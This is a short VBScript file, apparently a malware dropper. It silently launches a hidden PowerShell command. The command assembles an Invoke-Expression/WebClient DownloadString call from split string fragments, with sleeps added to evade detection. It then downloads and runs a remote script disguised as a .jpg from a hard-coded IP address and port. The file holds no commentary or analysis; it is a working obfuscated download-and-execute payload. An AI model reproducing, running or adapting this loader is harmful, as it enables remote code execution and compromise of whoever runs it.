on error resume next
Set objShell = CreateObject ("WScript.shell")
objShell.Run "powershell $T1_part1 = 'I';Sleep 1; $T1_part2 = 'eX(NeW-OBJeCT';Sleep 1; $T1_part3 = ' NeT.WeBCLIeNT).';Sleep 1; $T1_part4 = 'D';Sleep 1; $T1 = $T1_part1 + $T1_part2 + $T1_part3 + $T1_part4;Sleep 1; $T2 = 'OWNLO'; Sleep 1;$T3_part1 = 'ADSTRING(''http://139.99'; Sleep 1;$T3_part2 = '.3.41:222/nn.jpg'')';Sleep 1; $T3 = $T3_part1 + $T3_part2; Sleep 1;$T4 = $T1 + $T2 + $T3 | iex" , 0, True